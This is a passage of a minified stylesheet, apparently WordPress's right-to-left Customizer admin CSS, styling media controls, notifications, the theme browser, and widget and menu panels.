600; margin: 0; padding: 5px 10px; } .customize-control .attachment-meta { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; margin: 0; padding: 0 10px; } .customize-control .attachment-meta-title { padding-top: 7px; } /* Remove descender space. */ .customize-control .thumbnail-image, .customize-control-header .current, .customize-control .wp-media-wrapper.wp-video { line-height: 0; } .customize-control .thumbnail-image img { cursor: pointer; } #customize-controls .thumbnail-audio .thumbnail { max-width: 64px; max-height: 64px; margin: 10px; float: right; } #available-menu-items .accordion-section-content .new-content-item-wrapper, .customize-control-dropdown-pages .new-content-item-wrapper { width: calc(100% - 30px); padding: 8px 15px; position: absolute; bottom: 0; z-index: 10; background: #f0f0f1; } .customize-control-dropdown-pages .new-content-item-wrapper { width: 100%; padding: 0; position: static; } #available-menu-items .new-content-item-wrapper > label, .customize-control-dropdown-pages .new-content-item-wrapper > label { margin-bottom: 4px; display: block; } #available-menu-items .accordion-section-content .new-content-item, .customize-control-dropdown-pages .new-content-item { display: flex; } .customize-control-dropdown-pages .new-content-item { width: 100%; padding: 5px 1px 5px 0; position: relative; } .customize-control-dropdown-pages .new-content-item-wrapper .new-content-item { padding: 0; } .customize-control-dropdown-pages .new-content-item-wrapper .new-content-item label { line-height: 1.6; } #available-menu-items .new-content-item .create-item-input, .customize-control-dropdown-pages .new-content-item .create-item-input { flex-grow: 10; width: 100%; } #available-menu-items .new-content-item .create-item-input { min-height: 32px; line-height: 2.15384615; /* 28px for 32px min-height with 13px font */ } #available-menu-items .new-content-item .add-content, .customize-control-dropdown-pages .new-content-item .add-content { margin: 0 6px 0 0; flex-grow: 1; } #available-menu-items .new-content-item .add-content { min-height: 32px; line-height: 2.30769231; /* 30px for 32px min-height with 13px font */ } .customize-control-dropdown-pages .new-content-item .create-item-input.invalid { border: 1px solid #d63638; } .customize-control-dropdown-pages .add-new-toggle { margin-right: 1px; font-weight: 600; line-height: 2.2; } #customize-preview iframe { width: 100%; height: 100%; position: absolute; } #customize-preview iframe + iframe { visibility: hidden; } .wp-full-overlay-sidebar { background: #f0f0f1; border-left: 1px solid #dcdcde; } /** * Notifications */ #customize-controls .customize-control-notifications-container { /* Scoped to #customize-controls for specificity over notification styles in common.css. */ margin: 4px 0 8px; padding: 0; cursor: default; } #customize-controls .customize-control-widget_form.has-error .widget .widget-top, .customize-control-nav_menu_item.has-error .menu-item-bar .menu-item-handle { box-shadow: inset 0 0 0 2px #d63638; transition: .15s box-shadow linear; } #customize-controls .customize-control-notifications-container li.notice { list-style: none; margin: 0 0 6px; padding: 9px 14px; overflow: hidden; } #customize-controls .customize-control-notifications-container .notice.is-dismissible { padding-left: 38px; } .customize-control-notifications-container li.notice:last-child { margin-bottom: 0; } #customize-controls .customize-control-nav_menu_item .customize-control-notifications-container { margin-top: 0; } #customize-controls .customize-control-widget_form .customize-control-notifications-container { margin-top: 8px; } .customize-control-text.has-error input { outline: 2px solid #d63638; } #customize-controls #customize-notifications-area { position: absolute; top: 46px; width: 100%; border-bottom: 1px solid #dcdcde; display: block; padding: 0; margin: 0; } .wp-full-overlay.collapsed #customize-controls #customize-notifications-area { display: none !important; } #customize-controls #customize-notifications-area:not(.has-overlay-notifications), #customize-controls .customize-section-title > .customize-control-notifications-container:not(.has-overlay-notifications), #customize-controls .panel-meta > .customize-control-notifications-container:not(.has-overlay-notifications) { max-height: 210px; overflow-x: hidden; overflow-y: auto; } #customize-controls #customize-notifications-area > ul, #customize-controls #customize-notifications-area .notice, #customize-controls .panel-meta > .customize-control-notifications-container, #customize-controls .panel-meta > .customize-control-notifications-container .notice, #customize-controls .customize-section-title > .customize-control-notifications-container, #customize-controls .customize-section-title > .customize-control-notifications-container .notice { margin: 0; } #customize-controls .panel-meta > .customize-control-notifications-container, #customize-controls .customize-section-title > .customize-control-notifications-container { border-top: 1px solid #dcdcde; } #customize-controls #customize-notifications-area .notice, #customize-controls .panel-meta > .customize-control-notifications-container .notice, #customize-controls .customize-section-title > .customize-control-notifications-container .notice { padding: 9px 14px; } #customize-controls #customize-notifications-area .notice.is-dismissible, #customize-controls .panel-meta > .customize-control-notifications-container .notice.is-dismissible, #customize-controls .customize-section-title > .customize-control-notifications-container .notice.is-dismissible { padding-left: 38px; } #customize-controls #customize-notifications-area .notice + .notice, #customize-controls .panel-meta > .customize-control-notifications-container .notice + .notice, #customize-controls .customize-section-title > .customize-control-notifications-container .notice + .notice { margin-top: 1px; } @keyframes customize-fade-in { 0% { opacity: 0; } 100% { opacity: 1; } } #customize-controls .notice.notification-overlay, #customize-controls #customize-notifications-area .notice.notification-overlay { margin: 0; border-right: 0; /* @todo Appropriate styles could be added for notice-error, notice-warning, notice-success, etc */ } #customize-controls .customize-control-notifications-container.has-overlay-notifications { animation: customize-fade-in 0.5s; z-index: 30; } /* Note: Styles for this are also defined in themes.css */ #customize-controls #customize-notifications-area .notice.notification-overlay .notification-message { clear: both; color: #1d2327; font-size: 18px; font-style: normal; margin: 0; padding: 2em 0; text-align: center; width: 100%; display: block; top: 50%; position: relative; } /* Style for custom settings */ /** * Static front page */ #customize-control-show_on_front.has-error { margin-bottom: 0; } #customize-control-show_on_front.has-error .customize-control-notifications-container { margin-top: 12px; } /** * Dropdowns */ .accordion-section .dropdown { float: right; display: block; position: relative; cursor: pointer; } .accordion-section .dropdown-content { overflow: hidden; float: right; min-width: 30px; height: 16px; line-height: 16px; margin-left: 16px; padding: 4px 5px; border: 2px solid #f0f0f1; -webkit-user-select: none; user-select: none; } /* @todo maybe no more used? */ .customize-control .dropdown-arrow { position: absolute; top: 0; bottom: 0; left: 0; width: 20px; background: #f0f0f1; } .customize-control .dropdown-arrow:after { content: "\f140"; content: "\f140" / ''; font: normal 20px/1 dashicons; display: block; padding: 0; text-indent: 0; text-align: center; position: relative; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; text-decoration: none !important; color: #2c3338; } .customize-control .dropdown-status { color: #2c3338; background: #f0f0f1; display: none; max-width: 112px; } .customize-control-color .dropdown { margin-left: 5px; margin-bottom: 5px; } .customize-control-color .dropdown .dropdown-content { background-color: #50575e; border: 1px solid rgba(0, 0, 0, 0.15); } .customize-control-color .dropdown:hover .dropdown-content { border-color: rgba(0, 0, 0, 0.25); } /** * iOS can't scroll iframes, * instead it expands the iframe size to match the size of the content */ .ios .wp-full-overlay { position: relative; } .ios #customize-controls .wp-full-overlay-sidebar-content { -webkit-overflow-scrolling: touch; } /* Media controls */ .customize-control .actions .button { margin-top: 12px; } .customize-control-header .actions, .customize-control-header .uploaded { margin-bottom: 18px; } .customize-control-header .uploaded button:not(.random), .customize-control-header .default button:not(.random) { width: 100%; padding: 0; margin: 0; background: none; border: none; color: inherit; cursor: pointer; } .customize-control-header button img { display: block; } .customize-control .attachment-media-view .remove-button, .customize-control .attachment-media-view .default-button, .customize-control .attachment-media-view .upload-button, .customize-control-header button.new, .customize-control-header button.remove { width: auto; height: auto; white-space: normal; } .customize-control .attachment-media-view .upload-button { width: 100%; text-align: center; } .customize-control .attachment-media-view .upload-button.control-focus { width: auto; } .customize-control.customize-control-header .actions .upload-button.button.new { width: 100%; text-align: center; } .customize-control .attachment-media-view .thumbnail, .customize-control-header .current .container { overflow: hidden; } .customize-control .attachment-media-view .placeholder, .customize-control .attachment-media-view .button-add-media, .customize-control-header .placeholder { width: 100%; position: relative; text-align: center; cursor: default; border: 1px dashed #c3c4c7; box-sizing: border-box; padding: 9px 0; line-height: 1.6; } .customize-control .attachment-media-view .button-add-media { cursor: pointer; background-color: #f0f0f1; color: #2c3338; } .customize-control .attachment-media-view .button-add-media:hover { background-color: #fff; } .customize-control .attachment-media-view .button-add-media:focus { background-color: #fff; border-color: #3582c4; border-style: solid; box-shadow: 0 0 0 1px #3582c4; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .customize-control-header .inner { display: none; position: absolute; width: 100%; color: #50575e; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .customize-control-header .inner, .customize-control-header .inner .dashicons { line-height: 20px; top: 8px; } .customize-control-header .list .inner, .customize-control-header .list .inner .dashicons { top: 9px; } .customize-control-header .header-view { position: relative; width: 100%; margin-bottom: 12px; } .customize-control-header .header-view:last-child { margin-bottom: 0; } /* Convoluted, but 'outline' support isn't good enough yet */ .customize-control-header .header-view:after { border: 0; } .customize-control-header .header-view.selected .choice:focus { outline: none; } .customize-control-header .header-view.selected:after { content: ""; position: absolute; height: auto; top: 0; right: 0; bottom: 0; left: 0; border: 4px solid #72aee6; border-radius: 2px; } .customize-control-header .header-view.button.selected { border: 0; } /* Header control: overlay "close" button */ .customize-control-header .uploaded .header-view .close { font-size: 20px; color: #fff; background: #50575e; background: rgba(0, 0, 0, 0.5); position: absolute; top: 10px; right: -999px; z-index: 1; width: 26px; height: 26px; cursor: pointer; } .customize-control-header .header-view:hover .close, .customize-control-header .header-view .close:focus { right: auto; left: 10px; } .customize-control-header .header-view .close:focus { outline: 1px solid #4f94d4; } /* Header control: randomiz(s)er */ .customize-control-header .random.placeholder { cursor: pointer; border-radius: 2px; height: 40px; } .customize-control-header button.random { width: 100%; height: auto; min-height: 40px; white-space: normal; } .customize-control-header button.random .dice { margin-top: 0; } .customize-control-header .placeholder:hover .dice, .customize-control-header .header-view:hover > button.random .dice { animation: dice-color-change 3s infinite; } .button-see-me { animation: bounce .7s 1; transform-origin: center bottom; } @keyframes bounce { from, 20%, 53%, 80%, to { animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); transform: translate3d(0,0,0); } 40%, 43% { animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); transform: translate3d(0, -12px, 0); } 70% { animation-timing-function: cubic-bezier(0.755, 0.050, 0.855, 0.060); transform: translate3d(0, -6px, 0); } 90% { transform: translate3d(0,-1px,0); } } .customize-control-header .choice { position: relative; display: block; margin-bottom: 9px; } .customize-control-header .choice:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .customize-control-header .uploaded div:last-child > .choice { margin-bottom: 0; } .customize-control .attachment-media-view .thumbnail-image img, .customize-control-header img { max-width: 100%; } .customize-control .attachment-media-view .remove-button, .customize-control .attachment-media-view .default-button, .customize-control-header .remove { margin-left: 8px; } /* Background position control */ .customize-control-background_position .background-position-control .button-group { display: block; } /** * Code Editor Control and Custom CSS Section * * Modifications to the Section Container to make the textarea full-width and * full-height, if the control is the only control in the section. */ .customize-control-code_editor textarea { width: 100%; font-family: Consolas, Monaco, monospace; font-size: 12px; padding: 6px 8px; tab-size: 2; } .customize-control-code_editor textarea, .customize-control-code_editor .CodeMirror { height: 14em; } #customize-controls .customize-section-description-container.section-meta.customize-info { border-bottom: none; } #sub-accordion-section-custom_css .customize-control-notifications-container { margin-bottom: 15px; } #customize-control-custom_css textarea { display: block; height: 500px; } .customize-section-description-container + #customize-control-custom_css .customize-control-title { margin-right: 12px; } .customize-section-description-container + #customize-control-custom_css:last-child textarea { border-left: 0; border-right: 0; height: calc( 100vh - 185px ); resize: none; } .customize-section-description-container + #customize-control-custom_css:last-child { margin-right: -12px; width: 299px; width: calc( 100% + 24px ); margin-bottom: -12px; } .customize-section-description-container + #customize-control-custom_css:last-child .CodeMirror { height: calc( 100vh - 185px ); } .CodeMirror-lint-tooltip, .CodeMirror-hints { z-index: 500000 !important; } .customize-section-description-container + #customize-control-custom_css:last-child .customize-control-notifications-container { margin-right: 12px; margin-left: 12px; } .theme-browser .theme.active .theme-actions, .wp-customizer .theme-browser .theme .theme-actions { padding: 9px 15px; } .theme-browser .theme:not(.active) .theme-actions { box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.1); } @media screen and (max-width: 640px) { .customize-section-description-container + #customize-control-custom_css:last-child { margin-left: 0; } .customize-section-description-container + #customize-control-custom_css:last-child textarea { height: calc( 100vh - 140px ); } } /** * Themes */ #customize-theme-controls .control-panel-themes { border-bottom: none; } #customize-theme-controls .control-panel-themes > .accordion-section-title:hover, /* Not a focusable element. */ #customize-theme-controls .control-panel-themes > .accordion-section-title { cursor: default; background: #fff; color: #50575e; border-top: 1px solid #dcdcde; border-bottom: 1px solid #dcdcde; border-right: none; border-left: none; margin: 0 0 15px; padding: 12px 15px 15px 100px; /* Space for the button */ } #customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child:hover, /* Not a focusable element. */ #customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child { border-top: 0; } #customize-theme-controls .control-section-themes > .accordion-section-title:hover, /* Not a focusable element. */ #customize-theme-controls .control-section-themes > .accordion-section-title { margin: 0 0 15px; } #customize-controls .customize-themes-panel .accordion-section-title:hover, #customize-controls .customize-themes-panel .accordion-section-title { margin: 15px -8px; } #customize-controls .control-section-themes .accordion-section-title, #customize-controls .customize-themes-panel .accordion-section-title { padding-left: 100px; /* Space for the button */ } .control-panel-themes .accordion-section-title span.customize-action, #customize-controls .customize-section-title span.customize-action, #customize-controls .control-section-themes .accordion-section-title span.customize-action, #customize-controls .customize-section-title span.customize-action { font-size: 13px; display: block; font-weight: 400; } #customize-theme-controls .control-panel-themes .accordion-section-title .change-theme { position: absolute; left: 10px; top: 50%; margin-top: -20px; /* Half of 40px button height for vertical centering */ font-weight: 400; } #customize-notifications-area .notification-message button.switch-to-editor { display: block; margin-top: 6px; font-weight: 400; } #customize-theme-controls .control-panel-themes > .accordion-section-title:after { display: none; } .control-panel-themes .customize-themes-full-container { position: fixed; top: 0; right: 0; transition: .18s right ease-in-out; margin: 0 300px 0 0; padding: 71px 0 25px; overflow-y: scroll; width: calc(100% - 300px); height: calc(100% - 96px); background: #f0f0f1; z-index: 20; } @media (prefers-reduced-motion: reduce) { .control-panel-themes .customize-themes-full-container { transition: none; } } @media screen and (min-width: 1670px) { .control-panel-themes .customize-themes-full-container { width: 82%; left: 0; right: initial; } } .modal-open .control-panel-themes .customize-themes-full-container { overflow-y: visible; } /* Animations for opening the themes panel */ #customize-save-button-wrapper, #customize-header-actions .spinner, #customize-header-actions .customize-controls-preview-toggle { transition: .18s margin ease-in-out; } #customize-footer-actions, #customize-footer-actions .collapse-sidebar { bottom: 0; transition: .18s bottom ease-in-out; } .in-themes-panel:not(.animating) #customize-header-actions .spinner, .in-themes-panel:not(.animating) #customize-header-actions .customize-controls-preview-toggle, .in-themes-panel:not(.animating) #customize-preview, .in-themes-panel:not(.animating) #customize-footer-actions { visibility: hidden; } .wp-full-overlay.in-themes-panel { background: #f0f0f1; /* Prevents a black flash when fading in the panel */ } .in-themes-panel #customize-save-button-wrapper, .in-themes-panel #customize-header-actions .spinner, .in-themes-panel #customize-header-actions .customize-controls-preview-toggle { margin-top: -46px; /* Height of header actions bar */ } .in-themes-panel #customize-footer-actions, .in-themes-panel #customize-footer-actions .collapse-sidebar { bottom: -45px; } /* Don't show the theme count while the panel opens, as it's in the wrong place during the animation */ .in-themes-panel.animating .control-panel-themes .filter-themes-count { display: none; } .in-themes-panel.wp-full-overlay .wp-full-overlay-sidebar-content { bottom: 0; } .themes-filter-bar .feature-filter-toggle { min-height: 32px; line-height: 2.30769231; } .themes-filter-bar .feature-filter-toggle:before { content: "\f111"; content: "\f111" / ''; margin: 0 0 0 5px; font: normal 16px/1 dashicons; vertical-align: text-bottom; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .themes-filter-bar .feature-filter-toggle.open { background: #f0f0f1; border-color: #8c8f94; box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5); } .themes-filter-bar .feature-filter-toggle .filter-count-filters { display: none; } .filter-drawer { box-sizing: border-box; width: 100%; position: absolute; top: 46px; right: 0; padding: 25px 25px 25px 0; border-top: 0; margin: 0; background: #f0f0f1; border-bottom: 1px solid #dcdcde; } .filter-drawer .filter-group { margin: 0 0 0 25px; width: calc( (100% - 75px) / 3); min-width: 200px; max-width: 320px; } /* Adds a delay before fading in to avoid it "jumping" */ @keyframes themes-fade-in { 0% { opacity: 0; } 50% { opacity: 0; } 100% { opacity: 1; } } .control-panel-themes .customize-themes-full-container.animate { animation: .6s themes-fade-in 1; } .in-themes-panel:not(.animating) .control-panel-themes .filter-themes-count { animation: .6s themes-fade-in 1; } .control-panel-themes .filter-themes-count .themes-displayed { font-weight: 600; color: #50575e; } .customize-themes-notifications { margin: 0; } .control-panel-themes .customize-themes-notifications .notice { margin: 0 0 25px; } .customize-themes-full-container .customize-themes-section { display: none !important; /* There is unknown JS that perpetually tries to show all theme sections when more items are added. */ overflow: hidden; } .customize-themes-full-container .customize-themes-section.current-section { display: list-item !important; /* There is unknown JS that perpetually tries to show all theme sections when more items are added. */ } .control-section .customize-section-text-before { padding: 0 15px 8px 0; margin: 15px 0 0; line-height: 16px; border-bottom: 1px solid #dcdcde; color: #50575e; } .control-panel-themes .customize-themes-section-title { width: 100%; background: #fff; box-shadow: none; outline: none; border-top: none; border-bottom: 1px solid #dcdcde; border-right: 4px solid #fff; border-left: none; cursor: pointer; padding: 10px 15px; position: relative; text-align: right; font-size: 14px; font-weight: 600; color: #50575e; text-shadow: none; } .control-panel-themes #accordion-section-installed_themes { border-top: 1px solid #dcdcde; } .control-panel-themes .theme-section { margin: 0; position: relative; } .control-panel-themes .customize-themes-section-title:focus, .control-panel-themes .customize-themes-section-title:hover { background: #f6f7f7; } .customize-themes-section-title:not(.selected):after { content: ""; display: block; position: absolute; top: 9px; left: 15px; width: 18px; height: 18px; border-radius: 100%; border: 1px solid #c3c4c7; background: #fff; } .control-panel-themes .theme-section .customize-themes-section-title.selected:after { content: "\f147"; content: "\f147" / ''; font: 16px/1 dashicons; box-sizing: border-box; width: 20px; height: 20px; padding: 3px 1px 1px 3px; /* Re-align the icon to the smaller grid */ border-radius: 100%; position: absolute; top: 9px; left: 15px; color: #fff; } #customize-theme-controls .themes.accordion-section-content { position: relative; right: 0; padding: 0; width: 100%; } .loading .customize-themes-section .spinner { display: block; visibility: visible; position: relative; clear: both; width: 20px; height: 20px; right: calc(50% - 10px); float: none; margin-top: 50px; } .customize-themes-section .no-themes, .customize-themes-section .no-themes-local { display: none; } .themes-section-installed_themes .theme .notice-success:not(.updated-message) { display: none; /* Hide "installed" notice on installed themes tab. */ } .customize-control-theme .theme { width: 100%; margin: 0; border: 1px solid #dcdcde; background: #fff; } .customize-control-theme .theme .theme-name, .customize-control-theme .theme .theme-actions { background: #fff; border: none; } .customize-control.customize-control-theme { /* override most properties on .customize-control */ box-sizing: border-box; width: 25%; max-width: 600px; /* Max. screenshot size / 2 */ margin: 0 0 25px 25px; padding: 0; clear: none; } /* 5 columns above 2100px */ @media screen and (min-width: 2101px) { .customize-control.customize-control-theme { width: calc( ( 100% - 125px ) / 5 - 1px ); /* 1px offset accounts for browser rounding, typical all grids */ } } /* 4 columns up to 2100px */ @media screen and (min-width: 1601px) and (max-width: 2100px) { .customize-control.customize-control-theme { width: calc( ( 100% - 100px ) / 4 - 1px ); } } /* 3 columns up to 1600px */ @media screen and (min-width: 1201px) and (max-width: 1600px) { .customize-control.customize-control-theme { width: calc( ( 100% - 75px ) / 3 - 1px ); } } /* 2 columns up to 1200px */ @media screen and (min-width: 851px) and (max-width: 1200px) { .customize-control.customize-control-theme { width: calc( ( 100% - 50px ) / 2 - 1px ); } } /* 1 column up to 850 px */ @media screen and (max-width: 850px) { .customize-control.customize-control-theme { width: 100%; } } .wp-customizer .theme-browser .themes { padding: 0 25px 25px 0; transition: .18s margin-top linear; } .wp-customizer .theme-browser .theme .theme-actions { opacity: 1; } #customize-controls h3.theme-name { font-size: 15px; } #customize-controls .theme-overlay .theme-name { font-size: 32px; } .customize-preview-header.themes-filter-bar { position: fixed; top: 0; right: 300px; width: calc(100% - 300px); height: 46px; background: #f0f0f1; z-index: 10; padding: 6px 25px; box-sizing: border-box; border-bottom: 1px solid #dcdcde; } .customize-preview-header.themes-filter-bar, .customize-preview-header.themes-filter-bar .search-form { display: flex; align-items: center; gap: 10px; flex-wrap: wrap; } .customize-preview-header.themes-filter-bar .search-form-input { position: relative; } .customize-preview-header .filter-themes-wrapper { display: grid; align-items: center; gap: 10px; grid-template-columns: auto 1fr; } .customize-preview-header .filter-themes-wrapper .filter-themes-count { justify-self: end; } @media screen and (min-width: 1670px) { .customize-preview-header.themes-filter-bar { width: 82%; left: 0; right: initial; } } .themes-filter-bar .themes-filter-container { margin: 0; padding: 0; display: flex; align-items: center; gap: 10px; } .themes-filter-bar .wp-filter-search { padding: 0 30px 0 10px; max-width: 100%; width: 40%; min-width: 300px; height: 32px; min-height: 32px; /* Override global 40px min-height for compact bar */ margin: 1px 0; top: 0; right: 0; } /* Unstick the filter bar on short windows/screens. This breakpoint is based on the current length of .org feature filters assuming translations do not wrap lines. */ @media screen and (max-height: 540px), screen and (max-width: 1018px) { .customize-preview-header.themes-filter-bar { position: relative; right: 0; width: 100%; margin: 0 0 25px; } .filter-drawer { top: 46px; } .wp-customizer .theme-browser .themes { padding: 0 25px 25px 0; overflow: hidden; } .control-panel-themes .customize-themes-full-container { margin-top: 0; padding: 0; height: 100%; width: calc(100% - 300px); } } @media screen and (max-width: 1018px) { .filter-drawer .filter-group { width: calc( (100% - 50px) / 2); } } @media screen and (max-width: 960px) { .customize-preview-header.themes-filter-bar { height: 96px; } } @media screen and (max-width: 900px) { .themes-filter-bar .wp-filter-search { width: 100%; margin: 0; min-width: 200px; } .customize-preview-header.themes-filter-bar, .customize-preview-header.themes-filter-bar .search-form .themes-filter-bar .themes-filter-container { display: grid; gap: 4px; } .customize-preview-header.themes-filter-bar .search-form-input { display: flex; flex-grow: 1; } .filter-drawer { top: 86px; } .control-panel-themes .filter-themes-count { float: right; } } @media screen and (max-width: 792px) { .filter-drawer .filter-group { width: calc( 100% - 25px); } } .control-panel-themes .customize-themes-mobile-back { display: none; } /* Mobile - toggle between themes and filters */ @media screen and (max-width: 600px) { .filter-drawer { top: 132px; } .wp-full-overlay.showing-themes .control-panel-themes .filter-themes-count .filter-themes { display: block; float: left; } .control-panel-themes .customize-themes-full-container { width: 100%; margin: 0; padding-top: 46px; height: calc(100% - 46px); z-index: 1; display: none; } .showing-themes .control-panel-themes .customize-themes-full-container { display: block; } .wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back { display: block; position: fixed; top: 0; right: 0; background: #f0f0f1; color: #3c434a; border-radius: 0; box-shadow: none; border: none; height: 46px; width: 100%; z-index: 10; text-align: right; text-shadow: none; border-bottom: 1px solid #dcdcde; border-right: 4px solid transparent; margin: 0; padding: 0; font-size: 0; overflow: hidden; } .wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:before { right: 0; top: 0; height: 46px; width: 26px; display: block; line-height: 2.3; padding: 0 8px; border-left: 1px solid #dcdcde; } .wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:hover, .wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back:focus { background: #f6f7f7; box-shadow: none; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } .showing-themes #customize-header-actions { display: none; } #customize-controls { width: 100%; } } /* Details View */ .wp-customizer .theme-overlay { display: none; } .wp-customizer.modal-open .theme-overlay { position: fixed; right: 0; top: 0; left: 0; bottom: 0; z-index: 109; } /* Avoid a z-index war by resetting elements that should be under the overlay. This is likely required because of the way that sections and panels are positioned. */ .wp-customizer.modal-open #customize-header-actions, .wp-customizer.modal-open .control-panel-themes .filter-themes-count, .wp-customizer.modal-open .control-panel-themes .customize-themes-section-title.selected:after { z-index: -1; } .wp-full-overlay.in-themes-panel.themes-panel-expanded #customize-controls .wp-full-overlay-sidebar-content { overflow: visible; } .wp-customizer .theme-overlay .theme-backdrop { background: rgba(240, 240, 241, 0.75); position: fixed; z-index: 110; } .wp-customizer .theme-overlay .star-rating { float: right; margin-left: 8px; } .wp-customizer .theme-rating .num-ratings { line-height: 20px; } .wp-customizer .theme-overlay .theme-wrap { right: 90px; left: 90px; top: 45px; bottom: 45px; z-index: 120; } .wp-customizer .theme-overlay .theme-actions { text-align: left; /* Because there're only one or two actions, match the UI pattern of media modals and right-align the action. */ padding: 10px 25px 5px; background: #f0f0f1; border-top: 1px solid #dcdcde; } .wp-customizer .theme-overlay .theme-actions .theme-install.preview { margin-right: 8px; } .modal-open .in-themes-panel #customize-controls .wp-full-overlay-sidebar-content { overflow: visible; /* Prevent the top-level Customizer controls from becoming visible when elements on the right of the details modal are focused. */ } .wp-customizer .theme-header { background: #f0f0f1; } .wp-customizer .theme-overlay .theme-header button, .wp-customizer .theme-overlay .theme-header .close:before { color: #3c434a; } .wp-customizer .theme-overlay .theme-header .close:focus, .wp-customizer .theme-overlay .theme-header .close:hover, .wp-customizer .theme-overlay .theme-header .right:focus, .wp-customizer .theme-overlay .theme-header .right:hover, .wp-customizer .theme-overlay .theme-header .left:focus, .wp-customizer .theme-overlay .theme-header .left:hover { background: #fff; } .wp-customizer .theme-overlay .theme-header .close:focus:before, .wp-customizer .theme-overlay .theme-header .close:hover:before { color: var(--wp-admin-theme-color); } .wp-customizer .theme-overlay .theme-header button.disabled, .wp-customizer .theme-overlay .theme-header button.disabled:hover, .wp-customizer .theme-overlay .theme-header button.disabled:focus { border-bottom: none; background: transparent; color: #c3c4c7; } /* Small Screens */ @media (max-width: 850px), (max-height: 472px) { .wp-customizer .theme-overlay .theme-wrap { right: 0; left: 0; top: 0; bottom: 0; } .wp-customizer .theme-browser .themes { padding-left: 25px; } } /* Handle cheaters. */ body.cheatin { font-size: medium; height: auto; background: #fff; border: 1px solid #c3c4c7; margin: 50px auto 2em; padding: 1em 2em; max-width: 700px; min-width: 0; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); } body.cheatin h1 { border-bottom: 1px solid #dcdcde; clear: both; color: #50575e; font-size: 24px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; margin: 30px 0 0; padding: 0 0 7px; } body.cheatin p { font-size: 14px; line-height: 1.5; margin: 25px 0 20px; } /** * Widgets and Menus common styles */ /* higher specificity than .wp-core-ui .button */ #customize-theme-controls .add-new-widget, #customize-theme-controls .add-new-menu-item { cursor: pointer; float: left; margin: 0 10px 0 0; transition: all 0.2s; -webkit-user-select: none; user-select: none; outline: none; } .reordering .add-new-widget, .reordering .add-new-menu-item { opacity: 0.2; pointer-events: none; cursor: not-allowed; /* doesn't work in conjunction with pointer-events */ } .add-new-widget:before, .add-new-menu-item:before, #available-menu-items .new-content-item .add-content:before { content: "\f132"; content: "\f132" / ''; display: inline-block; position: relative; right: -2px; top: 0; font: normal 20px/1 dashicons; vertical-align: middle; transition: all 0.2s; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* Reordering */ .reorder-toggle { float: left; padding: 5px 8px; text-decoration: none; cursor: pointer; outline: none; } .reorder, .reordering .reorder-done { display: block; padding: 5px 8px; } .reorder-done, .reordering .reorder { display: none; } .widget-reorder-nav span, .menu-item-reorder-nav button { position: relative; overflow: hidden; float: right; display: block; width: 33px; /* was 42px for mobile */ height: 43px; color: #8c8f94; text-indent: -9999px; cursor: pointer; outline: none; } .menu-item-reorder-nav button { width: 30px; height: 40px; background: transparent; border: none; box-shadow: none; } .widget-reorder-nav span:before, .menu-item-reorder-nav button:before { display: inline-block; position: absolute; top: 0; left: 0; width: 100%; height: 100%; font: normal 20px/43px dashicons; text-align: center; text-indent: 0; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .widget-reorder-nav span:hover, .widget-reorder-nav span:focus, .menu-item-reorder-nav button:hover, .menu-item-reorder-nav button:focus { color: #1d2327; background: #f0f0f1; } .move-widget-down:before, .menus-move-down:before { content: "\f347"; content: "\f347" / ''; } .move-widget-up:before, .menus-move-up:before { content: "\f343"; content: "\f343" / ''; } #customize-theme-controls .first-widget .move-widget-up, #customize-theme-controls .last-widget .move-widget-down, .move-up-disabled .menus-move-up, .move-down-disabled .menus-move-down, .move-right-disabled .menus-move-right, .move-left-disabled .menus-move-left { color: #dcdcde; background-color: #fff; cursor: default; pointer-events: none; } /** * New widget and Add-menu-items modes and panels */ .wp-full-overlay-main { left: auto; /* this overrides a right: 0; which causes the preview to resize, I'd rather have it go off screen at the normal size. */ width: 100%; } body.adding-widget .add-new-widget, body.adding-widget .add-new-widget:hover, .adding-menu-items .add-new-menu-item, .adding-menu-items .add-new-menu-item:hover, .add-menu-toggle.open, .add-menu-toggle.open:hover { background: #f0f0f1; border-color: #8c8f94; color: #2c3338; box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5); } body.adding-widget .add-new-widget:before, .adding-menu-items .add-new-menu-item:before, #accordion-section-add_menu .add-new-menu-item.open:before { transform: rotate(-45deg); } #available-widgets, #available-menu-items { position: absolute; top: 0; bottom: 0; right: -301px; visibility: hidden; overflow-x: hidden; overflow-y: auto; width: 300px; margin: 0; z-index: 4; background: #f0f0f1; transition: right .18s; border-left: 1px solid #dcdcde; } #available-widgets .accordion-section-title, #available-menu-items .accordion-section-title { z-index: 2; } #available-widgets .customize-section-title, #available-menu-items .customize-section-title { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; /* Many screen reader and browser combinations announce broken words as they would appear visually. */ word-wrap: normal !important; word-break: normal !important; } #available-widgets .customize-section-title button, #available-menu-items .customize-section-title button { display: none; } #available-widgets-list { top: 82px; position: absolute; overflow: auto; bottom: 0; width: 100%; border-top: 1px solid #dcdcde; } .no-widgets-found #available-widgets-list { border-top: none; } #available-widgets-filter { position: fixed; top: 0; z-index: 1; width: 300px; background: #f0f0f1; } /* search field container */ #available-widgets-filter, 